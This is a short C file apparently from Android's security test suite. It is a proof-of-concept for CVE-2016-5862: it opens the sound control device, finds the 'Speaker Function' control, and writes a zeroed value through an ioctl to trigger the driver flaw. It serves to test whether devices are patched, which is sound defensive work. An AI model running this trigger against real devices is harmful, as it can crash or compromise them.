/* * Copyright (C) 2019 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * CVE-2016-5862 */ #include "../includes/common.h" #include #include #include #include #include #include #include #define SPEAKER "Speaker Function" #define NUM_BLOCKS 16384 unsigned int get_speakerid(int fd) { unsigned int i; int ret = -1; unsigned int id = 0; struct snd_ctl_elem_list lst; memset(&lst, 0, sizeof(lst)); lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list)); lst.space = NUM_BLOCKS; ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst); if (ret < 0) { return 0; } for (i = 0; i < lst.count; i++) { if (!strncmp((const char *)lst.pids[i].name, SPEAKER, (sizeof(SPEAKER) - 1))) { id = lst.pids[i].numid; break; } } free(lst.pids); return id; } int main(){ int fd = -1; struct snd_ctl_elem_value control; fd = open("/dev/snd/controlC0", O_RDWR); if(fd < 0) { return EXIT_FAILURE; } memset(&control, 0, sizeof(control)); control.id.numid = get_speakerid(fd); if(control.id.numid == 0) { close(fd); return EXIT_FAILURE; } ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control); close(fd); return EXIT_SUCCESS; }